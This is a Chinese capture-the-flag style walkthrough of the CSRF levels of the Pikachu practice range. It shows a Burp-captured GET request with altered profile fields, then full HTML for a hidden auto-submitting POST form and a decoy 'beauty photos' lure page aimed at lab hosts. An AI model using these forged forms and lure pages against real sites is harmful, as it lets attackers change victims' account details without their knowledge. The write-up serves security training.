pikache靶场通关——CSRF攻击

news2024/9/22 13:33:44

文章目录

前言
使用工具
第一关（host：192.168.1.107）、CSRF(get) login
- Step.1、以受害者身份登录账号
- Step.2、以受害者身份点击修改个人信息的按钮
- Step.3、以黑客身份使用burp进行抓包（查看对面修改格式）
- Step4、以黑客身份生成一个恶意网页给用户来点击
- Step5、以受害者身份点击了恶意网站的链接
第二关（host：192.168.1.108）、CSRF(post) login
- Step1、以受害者身份点击修改个人信息的按钮
- Step2、以黑客身份使用burp进行抓包
- Step3、以黑客身份生成一个恶意网页给用户来点击
- Step4、以受害者身份点击了恶意网站的链接
第三关（host：192.168.1.112）、CSRF Token login
- Step1、以受害者身份点击修改个人信息的按钮
- Step2、以黑客身份使用burp进行抓包
- Step3、以黑客身份尝试对token进行绕过
- Step4、以黑客身份攻击
第三关（方法2，使用插件）、CSRF Token login
- Step1、安装和配置csrf插件
- Step2、以黑客身份进行抓包
- Step3、以黑客身份配置攻击设置
- Step4、查看结果

前言

在这里插入图片描述
靶场一共又三关，现在我们就来通关吧。

使用工具

Burp Suite Professional抓包工具

第一关（host：192.168.1.107）、CSRF(get) login

Step.1、以受害者身份登录账号

我这里选择了vince的身份登录
在这里插入图片描述

Step.2、以受害者身份点击修改个人信息的按钮

在这里插入图片描述

发现修改成功，URL也没有显示什么信息。

Step.3、以黑客身份使用burp进行抓包（查看对面修改格式）

对提交修改信息时候进行抓包
在这里插入图片描述

看到上面就是提交的get请求数据
从上面的url可见，修改用户信息的时候，是不带任何不可预测的认证信息的。那么，这里应该是可以被利用的。

把修改的get链接复制下来
http://192.168.1.107/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=12345678900&add=%E6%9C%88%E7%90%83&email=hhhhh%40pikachu.com&submit=submit HTTP/1.1

然后就把包释放掉。

Step4、以黑客身份生成一个恶意网页给用户来点击

在这里插入图片描述
这里就修改了电话和邮箱2处

生成恶意网页让受害者点击
在这里插入图片描述

Step5、以受害者身份点击了恶意网站的链接

！注意：这里必须让受害者使用同一个浏览器，并且登录状态还在生效才有用

在这里插入图片描述
很明显手机号码和邮箱被修改了。第一关通关。

第二关（host：192.168.1.108）、CSRF(post) login

在这里插入图片描述
继续选择登录vince的账号。

Step1、以受害者身份点击修改个人信息的按钮

在这里插入图片描述

Step2、以黑客身份使用burp进行抓包

在这里插入图片描述
观察报文，这里学上一关一样没有特殊的信息，可以被利用。

由于这一关是post提交了，无法学上一关那样直接使用URL来改参数。但抓包可知，这个表单的数据数量以及对应的字段名name，这就可以构造一个恶意表单网页来给用户点击。

Step3、以黑客身份生成一个恶意网页给用户来点击

在这里插入图片描述

献上代码：

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title></title>
</head>
<body>
	<form action="http://192.168.1.108/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
		<input type="hidden" name="sex" value="非人类">
		<input type="hidden" name="phonenum" value="10000000001">
		<input type="hidden" name="add" value="太空">
		<input type="hidden" name="email" value="myWord@pikachu.com">
		<input type="hidden" name="submit" value="submit" />
		<input type="submit" id="submit" value="Submit request" style="display: none;">
	</form>
</body>
<script type="text/javascript">
	window.onload = function(){
		document.getElementById("submit").click();
	}
</script>
</html>

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title>美女写真</title>
</head>
<body>
<a href="./girl.php"><img src="https://up.enterdesk.com/edpic_source/56/ea/02/56ea02b3aa4d582ef244974b1d7c95ec.jpg" style="width: 200px;height: auto;" alt=""></a>
</body>
</html>